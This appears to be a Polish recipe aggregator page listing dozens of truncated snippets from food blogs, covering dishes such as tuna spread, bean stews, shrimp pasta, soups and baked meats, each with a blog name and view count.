nudzi się nam jedzenie kanapek z serem, wędliną i dżemem to można w zamian przygotować smaczną pastę kanapkową. Oto jedna z propozycji :) Składniki : - 1 puszka tuńczyka w kawałkach w sosie własnym, - 2 ugotowane jajka, - 2 ogórki kiszone, - 1 mała cebula, - 4 - 5 suszonych pomidorów, - czosnek, - pieprz, sól, - 2 listki świeżej, posiekanej bazylii, - 1 łyżka majonezu, - szczypiorek. Wykonanie : Tuńczyka lekko rozdrobnić

Przepisy Mikołaja
Fasola " nie po bretońsku " 123

prawda lubię fasolę po bretońsku, ale kiedy zauważyłem w jednej z książek przepis na fasolę w sosie śliwkowym, musiałem jej spróbować. Zmniejszyłem jednak ilość śliwek, bo wydawało mi się, że mogłoby być za słodko. Wyszło naprawdę dobre, bezmięsne danie. Składniki : - 200 g fasoli białej, - 5 - 6 suszonych śliwek, - 2 marchewki, - 1 czerwona papryka, - 3 pomidory ( użyłem krojonych z puszki ), - imbir

Przepisy Mikołaja
Łazanki z brokułami i fetą 159

dużo pisać. Makaron, brokułowy sos i dodatki. Dobre, bezmięsne danie w środku tygodnia :) Składniki : - makaron typu łazanki, - brokuł, - 2 ząbki czosnku, - 1 dymka, - 3 - 4 pomidory suszone z zalewy, - feta, - pomidorki koktajlowe, - 1 łyżeczka tymianku, - olej, - sól, pieprz. Wykonanie : Na oleju podsmażyć posiekaną cebulę z czosnkiem i starte na tarce jarzynowej, surowe łodygi brokuła ( tą grubą należy obrać ). Kiedy się

Przepisy Mikołaja
Spaghetti z klopsikami 146

urozmaicenie, wiec i ja go znalazłem . Składniki : - makaron spaghetti. Klopsiki : - około 300 g mięsa mielonego z szynki, - suszone pomidory z bazylią, - czosnek granulowany, - jajko, - sól, pieprz, - olej do smażenia. Sos : - pomidory krojone z puszki, - łyżka koncentratu pomidorowego, - zioła prowansalskie, - sól, pieprz, - świeży tymianek. Wykonanie : Mięso wymieszać z resztą składników doprawiając do smaku. Formować małe klopsiki ( nabierałem łyżeczką porcje mięsa

Przepisy Mikołaja
Kurczak pomidorowy z rozmarynem 152

solą, pieprzem i ziołową mieszanką. Włożyć do naczynia żaroodpornego, posypać posiekaną cebulą, świeżym rozmarynem, wlać syrop imbirowy i pomidory z puszki. Wstawić do piekarnika, co jakiś czas polewać wytworzonym sosem. Piec do miękkości mięsa

Przepisy Mikołaja
Kluski z kaszy kukurydzianej 156

kluski zaczerpniety od Pani Eli . Ja z chwilowego braku kaszy manny zastąpiłem ją kaszą kukurydzianą. Chwila pracy i fajny dodatek do obiadu gotowy. My zjedliśmy je z mięsnym sosem, ale myślę, że na słodko lub z warzywami też będą fajnie smakować, więc polecam :) Składniki : - łyżka masła, - 2 jajka, - 1/3 szklanki kaszy kukurydzianej, - łyżka mąki, - sól, pieprz. Wykonanie : Masło utrzeć

Przepisy Mikołaja
Ryba w zalewie ketchupowej 220

usmażyć na złoty kolor. Przełożyć do naczynia i przełożyć warstwy pokrojonymi w kostkę ogórkami konserwowymi. Składniki zalewy zagotować i najlepiej posmakować czy jest dość pikantna i słona. Gorącym sosem zalać usmażoną rybę, wystudzić i wstawić do lodówki na minimum dobę

Przepisy Mikołaja
Indyk w sosie porowym 174

naczynia żaroodpornego na przemian z ananasem. Na patelni rozpuścić masło, wsypać mąkę. Mieszając dolać kremówkę i bulion. Zagotować, dołożyć por i tarty ser. Całość przyprawić solą i pieprzem. Sosem polać mięso i wstawić do piekarnika. Zapiec i zjadać, najlepiej z ryżem

Przepisy Mikołaja
Zupa fasolowa z harissą 194

chilli i czosnku. Czasami dodawana jest do niej również kolendra, kmin rzymski i oliwa. Już niewielka ilość tej przyprawy nadaje daniom ostrości. Harissę możemy kupić w formie pasty lub sosu. Uczulam Was przed kupowaniem w ciemno. Zawsze warto spojrzeć na skład, ponieważ w niektórych produktach jest masa zbędnych dodatków i soli. Przygotowanie zupy zajmuje kilka chwil. Jeśli chcecie, żeby była

wiecejwarzyw.pl
Pijaz – turecka sałatka z białej fasoli 193

Cebulę pokrój w półksiężyce, natkę posiekaj, czosnek przeciśnij przez praskę. Całość przełóż do miski i wymieszaj. Pastę sezamową, oliwę, sok z cytryny i ocet wymieszaj w oddzielnej miseczce. Jeśli sos będzie zbyt gęsty dodaj do niego odrobinę zimnej wody. Połącz z sałatką. Dopraw całość solą i pieprzem. Smacznego! table.macro { font-size: 0.9em; } table.macro + p, table.macro + img { margin-top: 35px

wiecejwarzyw.pl
FARFALLE Z PAPRYKĄ PIQUILLO, SZPARAGAMI I TOMATE FRITO 153

mnie tak). Dodajemy paprykę piquillo, szparagi. Jeśli mamy świeże szparagi możemy je dodać na początku razem z cebulą i czosnkiem, żeby zmiękły. Dodajemy posiekaną bazylię i estragon, następnie sos tomate frito. Podałam z farfallami posypane grana padano

Cytryna&Co.
SCHAB CIELĘCY Z SZAŁWIĄ I SZALOTKAMI 193

pieprzem. Piekłam 1,5 godziny w temperaturze 220 stopni pod przykryciem bez termoobiegu. Podałam z młodymi ziemniakami okraszonymi topionym masłem z koperkiem, solą i pieprzem i szparagami z sosem holenderskim

Cytryna&Co.
GRILLOWANE OSTRYGI 177

Cały weekend grillowaliśmy: żeberka, 3 rodzaje szaszłyków (z wątróbka, kurczakiem i chorizo, z wołowiną), steki, hamburgery. W niedzielę po golfowym dniu na deser grillowaliśmy ostrygi :) Marta zrobiła je z sosem sojowym, kroplą tabasco i szczypiorkiem. A Andrzej wrzucił na chwilę na grilla. Wyszły pyszne

Cytryna&Co.
Bezglutenowa bruschetta z krewetkami 165

ząbki czosnku sól, świeżo mielony pieprz, szczypta oregano, szczypta szafranu sok z limonki 250g mrożonych krewetek papryczka chilli  łyżka masła kilka łyżek dobrej oliwy z oliwek ocet lub sos balsamico ser owczy lub inny typu grana padano mieszanka sałat pesto Pomidory sparzyłam, obrałam, wycisnęłam jak cytrynę z wody i pestek i posiekałam. Doprawiłam wyciśniętym czosnkiem, sola, pieprzem i oregano

Cytryna&Co.
SAŁATA ZE SMAŻONĄ SZYNKĄ PARMEŃSKĄ 161

smażymy szynkę. Ja lubię na chrupko. Składniki mieszamy ze sobą i skrapiamy oliwą z oliwek i ewentualnie sokiem z cytryny. Posypujemy płatkami grana padano. Można polać swoim ulubionym sosem, ale dla mnie oliwa, ewentualnie oliwa i balsamico lub cytryna są optymalne

Cytryna&Co.
PIECZONA PAPRYKA FASZEROWANA FETĄ 169

własnego gustu. Składniki: 8 czerwonych papryk pudełko fety kanapkowej oliwa z oliwek pieprz 2 ząbki czosnku bazylia świeża bazylia suszona u mnie jeszcze pimienton w proszku, oregano, łyżka sosu balsamico Paprykę kroimy na połówki, wyjmujemy nasiona, układamy na blasze wyłożonej papierem do pieczenia lub w naczyniu żaroodpornym i pieczemy aż skórka zacznie odchodzić. Ja piekłam około 30 minut w temperaturze

Cytryna&Co.
PASTA Z KREWETEK Z SZAFRANEM 197

powrocie z wojaży, miałam totalną ochotę pogotować a że byłam dosyć zmęczona, zrobiłam przystawkową kolację z krewtekami, mejijones w pikantnym sosie escabeche i tatara a la carpaccio :) Składniki: kilkanaście krewetek tygrysich 2 posiekane ząbki czosnku odrobina oliwy z oliwek sól, pieprz, szczypta szafranu łyżka majonezu łyżka posiekanego koperku sok z cytryny Krewetki obieramy, skrapiamy solą, cytryną i przesmażamy na niewielkiej

Cytryna&Co.
TATAR A LA CARPACCIO 152

właściwie ulubionych produktów - polędwicy wołowej :) Składniki: 250g posiekanej polędwicy wołowej posiekany ząbek czosnku oliwa z oliwek łyżka posiekanych kaparów starty parmezan listki rukoli orzeszki piniowe łyżka octu balsamicznego sos balsamiczny do ozdoby

Cytryna&Co.
WYŚMIENITE KREWETKI Z SOBRASADĄ 152

garnkach. Miałam akurat w lodówce otwarte opakowanie sobrasady z pieprzem z Hiszpańskiego Smaku  - mojego sklepu z hiszpańskimi łakociami i winami a ponieważ sobrasada jest świetna do różnych sosów, makaronów, świetnie rozpuszcza się dając fajny pomarańczowy kolor, paprykowy podwędzany smak, pomyślałam, że może wyjdzie coś ciekawego. I wyszło. Zupełnie nowe oblicze krewetek. Chłopakom smakowało. Mam nadzieję, że Wam też

Cytryna&Co.
MINI POMARAŃCZOWE FARFALLE Z KREWETKAMI I CUKINIĄ 175

pomidorem, czyli makaronu dla dzieci, którego jej Dzieci nie chciały jeść ;) Za to my spałaszowaliśmy z przyjemnością. Składniki: 250g krewetek 2 małe lub 1 duża cukinia cebula czosnek słoik sosu tomate frito  lub przecieru dobrej jakości (można dosłodzić ksylitolem) oregano bazylia sól pieprz oliwa z oliwek natka z pietruszki sok z cytryny pikantna papryka w proszku może być pimienton

Cytryna&Co.
BEEF JERKY - SUSZONA WOŁOWINA 184

sobie radę ;) Postanowiłam na testa zrobić własną wersję i użyłam do niej mojego rostbefu. Myślę, że kolejnym razem zrobię ją na inne sposoby z innymi przyprawami np. dodam trochę sosu Worcestershire, może odrobinę musztardy i czosnek - zobaczymy. Na razie ta wersja bardzo mi się podoba i za chwilę wkładam do piekarnika następną turę. Składniki: kawałek rostbefu 500 g garść gorczycy

Cytryna&Co.
SZPARAGI Z CHORIZO I TOMATE FRITO 165

sól, pimienton Chorizo kroimy w plasterki i podsmażamy z czosnkiem na niewielkiej ilości oliwy. Następnie dodajemy pokrojone na kawałki szparagi. Doprawiamy solą i pimientonem. Na koniec dodajemy kilka łyżek sosu tomate frito

Cytryna&Co.
GAZPACHO ANDALUZ 164

zimną, prostą i orzeźwiającą zupę w te upalne dni :) Składniki: papryka  ogórek ząbek czosnku 4-5 pomidorów bez skórki (ja czasem używam w puszce i dodaję też sos tomate frito) 3 łyżki jasnego octu balsamicznego z białego wina (lub jabłek) mała czerwona cebula sól himalajska, pieprz do smaku łyżka oliwy z oliwek zimna filtrowana woda opcjonalnie: kromka chleba

Cytryna&Co.
KOTLECIKI CHLEBOWE ZE STEKIEM 178

minut. Formujemy nieduże kotleciki , obtaczamy w bułce tartej i smażymy na rumiano , na mocno rozgrzanej oliwie. Podajemy ze stekiem usmażonym według uznania,pokrojonym w plastry. Możemy polać całość sosem kolendrowo-pomidorowym

Cytryna&Co.
TAGLIATELLE Z POLĘDWICĄ WIEPRZOWĄ 181

patelnię, smażymy. Następnie kroimy cebulę w krążki, cukinię w kostkę, drobno siekamy czosnek i chwilę ze wszystkim dusimy aż warzywa będą al dente. Dodajemy pomidory. W czasie robienia sosu gotujemy makaron. Ja podałam z tagliatelle

Cytryna&Co.
WEGAŃSKIE GOŁABKI Z KASZĄ JAGLANĄ 161

kapusty.  Na dnie garnka układamy pokrojone w ósemki pomidory i 1 cebulę, posypujemy koperkiem. Podlewamy wodą i układamy gołąbki. Gotujemy aż kapusta będzie miękka.  Następnie razem z sosem zapiekamy około 40 minut w temparaturze 200 stopni

Cytryna&Co.
PORTOBELLO FASZEROWANE CIELĘCINĄ 191

nawet Loczek, który z zasady nie lubi grzybów zjada je ze smakiem. Zwykle po prostu dodaję je jako jeden ze składników ciepłej sałatki albo warzyw z patelni z sosem sojowym. Tym razem występują w roli głównej obok cielęciny, Składniki: 6 dużych pieczarek portobello 400g mielonej cielęciny por czerwona cebula 3 łyżki oliwy 3 łyżki masła sól, pieprz, łyżeczka tymianku, łyżeczka

Cytryna&Co.
KREM Z PIECZONEJ DYNI 201

kokosowym podsmaż cebulę. Dodaj przyprawy, połowę startego kokosa, starty imbir. Wyjmij pestki z dyni i odkrój twarde części, dodaj do zupy, zalej wodą lub bulionem i chwilę pogotuj. Dodaj sos pomidorowy, zagotuj i zmiksuj. Podaj z pestkami dyni, wiórkami ze świeżego kokosa i olejem dyniowym

Cytryna&Co.
Wegańska pasta "jajeczna" z rzodkiewką 198

Kiedyś na wyjeździe przez pomyłkę i trochę z ciekawości kupiliśmy ze znajomymi czarną sól kala namak zupełnie nie wiedząc co to jest. Niechcący posoliliśmy nią sos do spaghetti all’amatriciana 🍝 , co przyznam złe nie było, może lekko dziwaczne, lecz zjadliwe. Uznaliśmy jednak, że tradycyjny przepis jest znacznie lepszy i nie jest to danie do powtórki. Ostatnio przeglądając wegańskie przepisy przypomniałam

Cytryna&Co.
Domowy makaron z serem, czyli wiejski przepis na słono 190

słonej. U mnie w domu jadało się je na słono i właśnie taki przepis znajdziecie poniżej. Lubicie makarony? W takim razie zobaczcie: Noodle z kurczakiem i cukinią w sosie curry Grillowany łosoś ze szpinakiem i serem feta Lekki obiad: makaron z łososiem, cukinią i pomidorem Makaron ze szpinakiem, serem feta i mozzarellą Spaghetti z cukinii – wersja mięsna à la bolognese

A to pestka
Sałatka z tuńczykiem i jajkami 175

prezentuje się na stole. Można ją przyrządzić na kolacje, na przyjęcie lub jako drugie śniadanie do pracy. Jest świetna!     Składniki: 150 g tuńczyka z puszki – w sosie własnym 2-3 garści mieszanki sałat 1/2 czerwonej papryki 1/2 żółtej papryki 3-4 jajka kilka suszonych pomidorów z zalewy 1 zielony ogórek gruntowy ok 5 rzodkiewek kilka łyżek oliwy

Blog z Apetytem
Indyk w sosie cukiniowo-porowym 207

Sos powstał w wyniku robienia porządków w lodówce i okazał się pyszny. Lekko kremowy przyjemnie komponuje się z mięsem drobiowym. Równie dobrze poza indykiem można przygotować w ten sposób np. kurczaka.  Składniki (4 porcje) -500 g mięsa z indyka -mała cukinia -100 g pora -pół cebuli lub 1 mała -2 trójkąciki serka topionego (ok. 50g) -100 ml śmietanki kremówki

Zielona Kuchnia
Sałatka z tuńczykiem 197

Kilka składników, nie wiele pracy i pyszna sałatka gotowa. Ostatnio zrobiłam na kolację. Do tego świeże,  ekspresowe bagietki  i sos czosnkowy. Pycha. Moje chłopaki nie przepadają za sałatkami, ale jeśli w sałatce jest tuńczyk, to jedzą ze smakiem :) Składniki: sałata lodowa 1 duży pomidor 1 cebula 1/2 puszki kukurydzy 1 puszka tuńczyka oliwki zielone ( dałam 25 sztuk) kilka

Agusiowe smakołyki
Placki ziemniaczane dla leniwych 199

Placki ziemniaczane dla leniwych to błyskawiczna propozycja na tani obiad :) Do przygotowania tej potrawy wystarczy nam dosłownie kilka składników. Całość przygotowania nie powinna zająć więcej jak

Kulinarnyblog.pl - wiesz jak gotować!
Sznycel wiedeński z domowymi frytkami 180

Pokażę Wam jak przygotować pyszny sznycel wiedeński z domowymi frytkami. Danie to może nie należy do najbardziej dietetycznych, ale raz na jakich czas można sobie pozwolić

Kulinarnyblog.pl - wiesz jak gotować!
Piję kranówkę i dobrze mi z tym - opinia o dzbanku filtracyjnym 214

roku odkamieniałyśmy raz czajnik, bo filtry z dodatkiem magnezu nie oczyszczają tak dokładnie wody z kamienia. Do przygotowywania posiłków. Makarony kasze, ziemniaki gotujemy w wodzie filtrowanej. Tak samo zupy, sosy czy chleb robimy na bazie wody filtrowanej. Czy są minusy filtrowania wody w dzbanku filtracyjnym? Tak, są: Przede wszystkim trzeba pamiętać o filtrowaniu i zmianie filtra. Jest aplikacja na telefon

dobra gospodyni dom wesołym czyni
Domowy włoski makaron jajeczny z semoliną 263

różni makaron z dodatkiem semoliny od tego szykowanego tylko na „miękkiej” mące? Jest dużo bardzo twardy, mięsisty i ma lekko chropowatą fakturę po ugotowaniu. Świetnie łapie na siebie wszystkie sosy i dodatki. Bardzo lubię używać tego ciasta do domowego spaghetti i wszystkich makaronów typu wstążki, o różnej szerokości. PRZYGOTOWANIE Włoskie mammy i nonny makaron szykują na stolnicy – ja jako polska

Karo in the Kitchen
Domowy pasztet 148

Pasztet można jeść w różnych formach. Przeważnie na kanapkach, ale można też podać gruby plater pasztetu na talerzu, z sosem i warzywnymi dodatkami - w ten sposób otrzymamy pyszną przekąskę. Do tego potrzeba jednak bardzo dobrego pasztetu - jeśli nie wiemy gdzie taki kupić, nic nie stoi na przeszkodzie, żebyśmy zrobili go sami

Milion Smaków
Makaron zapiekany z pulpecikami i serem 229

push({}); W naczyniu do pieczenia układamy warstwowo najpierw trochę przecieru , potem makaron, pulpeciki, znowu przecier pomidorowy, pokrojony w kostkę ser.Zużyć wszystkie składniki i na samej górze polać jeszcze sosem pomidorowym i posypać tartym serem. Zapiekać pod przykryciem 15 minut w temperaturze 180°C. SMACZNEGO

zielonacukinka
Wieprzowina Vindaloo z papryką 114

przed końcem dodajemy pokrojoną w większą kostkę paprykę, doprawiamy solą, mieszamy. W międzyczasie jeżeli jest potrzeba można mięso podlać dodatkową niewielką ilością wody. Ostatecznie mięso nie ma pływać w sosie jak w gulaszu, ma to wyglądać mniej więcej jak na zdjęciu

Kardamonovy
Pieczony , butelkowy kurczak po pekińsku 137

Aromatyczne i soczyste mięso… Cóż ideał , sami zobaczcie , a potem koniecznie przygotujcie Składniki : 1 szt kurczaka o wadze około 1,2 – 1,5 kg 3 łyżki jasnego sosu sojowego 3 łyżki słodkiej mielonej papryki 1 łyżka mielonego chilli lub ostrej papryki jeśli lubicie łagodniej 2 łyżki miodu 1 łyżka granulowanego czosnku 2 łyżeczki mielonego , suszonego imbiru 3 łyżki

Ogrodnik w podróży
Kotleciki rybne po Tajsku 127

przyprawy bo kotleciki wyszłyby bardzo pikantne. Można podawać z ziemniakami,ryżem lub tylko surówką. Polecam. Składniki 400 g filetów z ryby 1/4 szkl. mąki ryżowej lub kukurydzianej 1 łyżka sosu rybnego 1 jajko 1/2 szklanki posiekanej świeżej kolendry … Czytaj dalej Kotleciki rybne po Tajsku

gotuj ze mną
Piątek: Krewetkowy chowder z pure ziemniaczanym 146

pryskał olejem (zachowaj 2 łyżki szczypiorku do posypania gotowej zupy). Smaż chwilę, aż szczypior uwolni aromat – uważaj żeby się nie przypalił. Dodaj łyżkę przecieru i rozprowadź w sosie. Następnie dodaj krem z kukurydzy. Smaż mieszając przez minutę. Zalej całość bulionem, doprowadź do wrzenia, wrzuć krewetki (mogą być zamrożone), zmnijesz ogień, przykryj garnek i gotuj na wolnym ogniu 20 minut

Niedzielny kucharz
Kurczak ze szparagami duszony w śmietanie 182

strony na patelni z rozpuszczonym masłem. Posoliłam na koniec solą ziołową. Kiedy mięso było obsmażone, zalałam śmietanką, doprowadziłam do delikatnego wrzenia i dołożyłam kawałki szparagów. Ok 5 minut redukowałam sos na małym ogniu. Przed podaniem oprószyłam pieprzem i posypałam natką z pietruszki. Podałam z ugotowanym makaronem świderki. To jest naprawdę pyszne! Notatki: * użyłam tu soli ziołowej, bo bardzo mi smakuje

Pieprzyć z Fantazją
Domowy sok pomidorowy 205

Domowy sok pomidorowy najlepszy jest w okresie kiedy można kupić świeże, pachnące pomidory. Aczkolwiek w zimie, wczesną wiosnę również warto go przygotować bo dostarczy nam odpowiednich

Kulinarnyblog.pl - wiesz jak gotować!
Schab kanapkowy-czyli pieczony w niskiej temperaturze 169

Schab pieczony w niskiej temperaturze-soczysty, delikatny i kruchy. Stanowi wspaniałą alternatywę do kupnych wędlin. Dodając sos pieczeniowy, będzie wspaniały obiad. SKŁADNIKI: 1 kg schabu bez kości Marynata: 2 łyżki soli peklowej 1 łyżka soli morskiej 1 łyżka papryki słodkiej 2 łyżki granulowanego czosnku 1 łyżka pieprzu ziołowego 1 łyżka cukru 1 łyżka mielonego pieprzu czarnego 1 litr wody oraz

Kopystką po garach
MAKARON Z SOSEM POMIDOROWYM, KARCZOCHAMI I SUSZONYMI POMIDORAMI 198

Karczochy, suszone i świeże pomidory oraz czosnek, to naprawdę udane i sprawdzone połączenie smaków. A wszystko zatopione w pysznym sosie pomidorowo-śmietanowymi i posypane dużą ilością natki pietruszki i tartego parmezanu. polecam na szybki obiad po pracy. SKŁADNIKI / 2 PORCJE 130 g makaronu, np. fettuccine 1 szklanka passaty pomidorowej 3 łyżki śmietany 30% 3 ząbki czosnku 3 łyżki oliwy

cool and minty
Szpinak kremowy – gęsty i dobrze doprawiony 187

szpinak w każdej postaci – na surowo w zielonym smoothie i sałatce, dodany do kanapki zamiast sałaty, na ciepło w zupach czy szakszuce, albo dodany do makaronu w szybkim włoskim sosie. Szpinakowe pierogi i naleśniki? Dwa razy mnie namawiać nie trzeba! Szpinak to bardzo zdrowe i bardzo wszechstronne warzywo – przygotowany według dzisiejszego przepisu kremowy szpinak jest świetnym dodatkiem do obiadów

Karo in the Kitchen
Pizza czekoladowa 150

Torras . Miałam początkowo sceptyczne nastawienie, ponieważ byłam przekonana, że stewia będzie mocno wyczuwalna. Na szczęście tak nie jest. Krem czekoladowy jest po prostu doskonały i idealnie nadaje się jako sos do pizzy na ciasto . Wyobrażacie sobie to? Chrupiące ciasto do pizzy posmarowane czekoladą, posypane owocami i piankami marshmallow. Obłęd! Oprócz znakomitego kremu mamy jeszcze świeże owoce i mrożone owoce

MamaOskarka
Babka z ryby 145

pianę. Delikatnie wymieszać z masą rybną. Przełożyć do formy. Wstawić do piekarnika nagrzanego do 160 stopni na około 45 minut. Można podawać na ciepło jak i zimno. Podałam z sosem koperkowo-ogórkowym

królestwo garów
Kluski śląskie – jak zrobić? 300

dodaje się jajka, u mnie zaś na Mazowszu, owszem. Jestem ciekawa jak u Was robi się to danie. Według mnie kluski śląskie smakują najlepiej podane z duszonym mięsem w sosie własnym, chociażby z gulaszem wieprzowym . Jednak lubię jeść także je prosto z wody, okraszone podsmażoną słoniną – moimi kochanymi skwarkami, które smakują wyjątkowo, mimo, że dietetyczne nie są Zapraszam

Kuchnia Bazylii
Pierogi z białym serem ziarenkami szałwii hiszpańskiej i zielonym owsem 198

Można je pić dodając do wody, albo dosypywać do potraw. Między innymi do białych serów, jogurtów, kanapek, panierek, farszów, sałatek, sosów, chleba i wielu innych dań. Są nasionami żelującymi, podobnie jak siemię lniane, które ma zbliżone właściwości do chia. Robiąc oddzielnie dwa farsze, odkryłam ich właściwości żelujące nawet w serze. Ser po dosypaniu nasion po kilku minutach stawał się bardziej

Leśny Zakątek
Makaron z mielonym mięsem i suszonymi prawdziwkami 193

zachowaną wodę z gotowania do mięsa. Dodajemy większość startego parmezanu. Mieszamy wszystko razem i gotujemy ok. 3 minuty, aż całość zacznie gęstnieć, a makaron ugotuje się do końca w sosie. Próbujemy czy danie trzeba dosolić. Nakładamy na talerze i posypujemy pozostałym, dojrzewającym startym serem. Post Makaron z mielonym mięsem i suszonymi prawdziwkami pochodzi z bloga Poezja smaku

Poezja smaku
Chlebek pita 227

Chyba każdy zna chlebek pita. Mięciutki chlebek zazwyczaj naładowany mięsem i sosem czosnkowym. Nie wiem dlaczego, w Polsce pokutuje to zestawienie. Tymczasem na Bliskim Wschodzie pita i jej rodzaje to „kołderka” dla ferii smaków, kolorów i połączeń. Niedługo na blogu pojawi się przepis na sabih, w którym się zakochacie. Pokażę wam, jak zrobić gyros i kebab wołowy w domowych warunkach

ladykitchen
ZUPA SOCZEWICOWA Z POMIDORAMI 161

masła 1 cebula 3 ząbki czosnku 1 pietruszka 1 szklanka czerwonej soczewicy  2 puszki (2x400g) pomidorów 500 ml gorącego bulionu lub wody z 2 łyżkami sosu sojowego PRZYPRAWY: po 1 łyżeczce: soli (można dać mniej jeśli bulion jest słony), curry w proszku, suszonego oregano i lubczyku, świeżo zmielony czarny pieprz, szczypta chili w proszku DO PODANIA: świeża kolendra, mleczko

cool and minty
Kopytka bez jajek 399

wody. Nasiona chia nadadzą kopytkom doskonałej konsystencji nie wpływając na ich smak. Takie kopytka możecie przyrządzić zarówno w wersji na słono (np. jako dodatek do gulaszu czy wołowiny w sosie koperkowym ), jak i na słodko posypane cukrem. 1 kg ziemniaków (można wykorzystać ziemniaki, które zostaną nam z wczorajszego obiadu) 2 łyżki nasion chia 6 łyżek zimnej wody 1 łyżeczka soli

Dieta bez mleka
Kotlety z kaszy jęczmiennej 146

nią nie przepadają. Doskonale sprawdzają się na obiad, ale ja lubię je podjadać nawet na zimno. Jeśli kotlety podaję jako posiłek główny to czasami przyrządzam do ich sos pieczarkowy lub bywa, że również serowy, czy pomidorowy. Polecam! (około 12 sztuk) 100g kaszy jęczmiennej (suchej) 1 sucha bułka namoczona w mleku/wodzie  1/2 białej części pora (małego) 1-2 jajka

Di gotuje
Nuggetsy w płatkach i parmezanie z piekarnika 346

temu są one mniej kaloryczne niż te tradycyjne smażone w głębokim oleju. Nuggetsy można podać do obiadu z ziemniaczkami i ulubioną surówką. Mogą być również przekąską podaną z ulubionym sosem. 2 filety z kurczaka Ciasto: 1 szkl mleka 1/2 szkl mąki pszennej jajko 2 łyżeczki papryki wędzonej sól, świeżo zmielony pieprz łyżeczka czosnku granulowanego Panierka: 2 szkl płatków kukurydzianych

Smakołyki Asi
PIECZONY UDZIEC Z KURCZAKA 186

wyłożyć do naczynia żaroodpornego razem z marynatą. położyć na wierzch wiórki masła. Piec w piekarniku nagrzanym do 220 st C przez 45 minut. Podczas pieczenia można polewac udka powstałym sosem

Kuchnia w oparach
Jaglany krupnik z batatami i jarmużem - dietetycznie 253

witamin i banalnie prosta do przygotowania. Robiłam ją w dwóch wariantach: na bulionie drobiowym i w wersji wegeteriańskiej na bulionie warzywnym, obie pyszne. W wersji wegeteriańskiej dodaj grzybka i sos sojowy (umami!), a zupa będzie pełna smaku. Polecam szczególnie wszystkim, którzy zmagają się z zakwaszeniem organizmu. Składniki: 2 małe bataty 1 szklanka jarmużu 3,5 łyżki kaszy jaglanej (użyłam grubej

Gotuj zdrowo!Guten Appetit!
Sałatka z kapustą pekińską i tuńczykiem 348

ładną zieloną, sałatka będzie jeszcze ładniej wyglądała;) 1 nieduża kapusta pekińska 1 słoiczek tuńczyka w oleju (ja kupuję w lidlu, można ewentualnie wykorzystać 2 puszki tuńczyka np w sosie własnym) 1 mała puszka kukurydzy 4 jajka majonez sól, pieprz Kapustę drobno szatkujemy. Jajka gotujemy na twardo. Po przestudzeniu obieramy i kroimy w dużą kostkę. Kukurydzę osączamy z zalewy. Osączonego

Smaki Na Talerzu
Złociste placki z pieczarkami i wędliną 195

Całość dokładnie wymieszaj. Na patelni rozgrzej olej, nakładaj łyżką porcje ciasta formując placki i smaż z obu stron na złoty kolor. Smacznego!   Świetnie smakują z… keczupem, dipem czosnkowym, sosem (np. pieczarkowym, pomidorowym, koperkowym), surówkami i sałatkami obiadowymi.           Do placków polecam… – Surówka z marchewki – Pomidory z cebulką i oliwą – Kalafior duszony

Kulinarne S.O.S.
Pieczony królik ziołowy 215

aluminiową i wstawić do piekarnika nastawionego na 200 stopni C. Po pół godzinie obniżyć temperaturę do 180 stopni C. i piec jeszcze ok. godziny. Zdjąć folią aluminiową, polać mięso sosem z formy i dopiekać królika jeszcze kwadrans

Weekendy w domu i ogrodzie
Chili con carne 206

Chili con carne to potrawa wywodząca się z kuchni meksykańskiej. Ostra zupa wpasuje się idealnie w zimowy klimat gdyż nie tylko rozgrzeje nasz organizm do czerwoności

Kulinarnyblog.pl - wiesz jak gotować!
Tosty z tortilli z sałatką z tuńczyka 177

coś dla Ciebie ;) Tosty z tortilli na ciepło z sałatką z tuńczyka.🍽🍽🍽🍽🍽🍽🍽🍽🍽 Składniki na 4 porcje: 🍽 4 placki tortillija użyłam pełnoziarnistej  🍽 1 puszka tuńczyka stek w sosie własnym  🍽 3 ogórki kiszone 🍽 4 plastry sera żółtego 🍽 1/2 pęczka kopru 🍽 sól i pieprz do smaku 🍽 2 łyżki ketchupu 🍽 1 łyżka majonezu Przygotowanie: 1. Tuńczyka odcedzam,przekładam do miski ,rozdrabniam widelcem

Gotowanie Patki
Najlepsze przepisy - pyszne śledzie na Ostatki 186

żurawiną Sałatka śledziowa z buraczkami Śledź w soku z cytrusów z czarnuszką Prawdziwy matias z cebulą, jabłkiem i granatem Marynowane śledzie II Jarzynowa sałatka ze śledziem Śledzie w sosie musztardowym Śledź z cebulą i jabłkiem Śledzie remoulade z selerem Marynowane śledzie Korzenny śledź z rodzynkami Tatar ze śledzia Śledź pod buraczkiem Rolmopsy z ogórkiem Domowe rolmopsy z papryką Śledź

Kulinarne przygody Gatity
KUCHENNA APTEKA #25 - KASZA GRYCZANA 183

jest ono lepiej przyswajalne niż to ze zbóż 100 g ugotowanej kaszy zawiera 92 kcal Przepisy z kaszą gryczaną 1) GOŁĄBKI WIGILIJNE 2) PULPETY GRYCZANE W SOSIE PIECZARKOWYM 3) PIERSI Z GĘSI W JABŁKACH I ŻURAWINIE Z KASZĄ GRYCZANĄ Z BURACZKAMI 4) ZAPIEKANKA GRYCZANA Z BROKUŁAMI I FETĄ

Kuchnia MagdaLeny
Tapas fiesta i hiszpańskie wina 129

blend, bo zamiast Merlota użyto Shiraz i dłużej potrzymano je w beczce, ale warto je kupić tak samo jak Nº 12. Na deser był klasyk – flan z karmelowym sosem i Mistila Moscatel z winiarni Castillo de Chiva (ten sam producent, co pierwsze wino musujące, ze słodkiej odmiany Moscatel de Alejandria). Lubię wina deserowe, ale to był chyba najsłabszy punkt

Ugotowane pozamiatane
Makaron ze szpinakiem i masłem orzechowym 218

Ameryki nie odkryłem i żałuję, że wcześniej nie przeprowadziłem szczegółowego wywiadu kulinarnego ze znajomymi. Ale ponoć lepiej późno, niż wcale. Gdy słuchałem, jak Ola z pasją opowiadała o przygotowywaniu sosu

Vegan Taste
Przepisy na Tłusty Czwartek 180

dodatkiem gotowanych ziemniaków nadzianych konfiturą śliwkową, przepis tutaj:  https://ugotowac.blogspot.com/2018/01/paczki-z-ziemniakami.html 2.  chocolate con churros czyli małych przekąsek przygotowanych z ciasta parzonego i podanych z domowym sosem czekoladowym, przepis tutaj:  https://ugotowac.blogspot.com/2016/02/churros-z-sosem-czekoladowym.html 3. twarogowych mini pączków, przepis tutaj:  http://ugotowac.blogspot.com/2015/10/twarogowe-paczusie.html 4. racuchów przygotowanych na bazie ciasta drożdżowego nadzianych kawałkami jabłek, przepis tutaj

Ugotować
Siekane kotlety z kurczaka z papryką 184

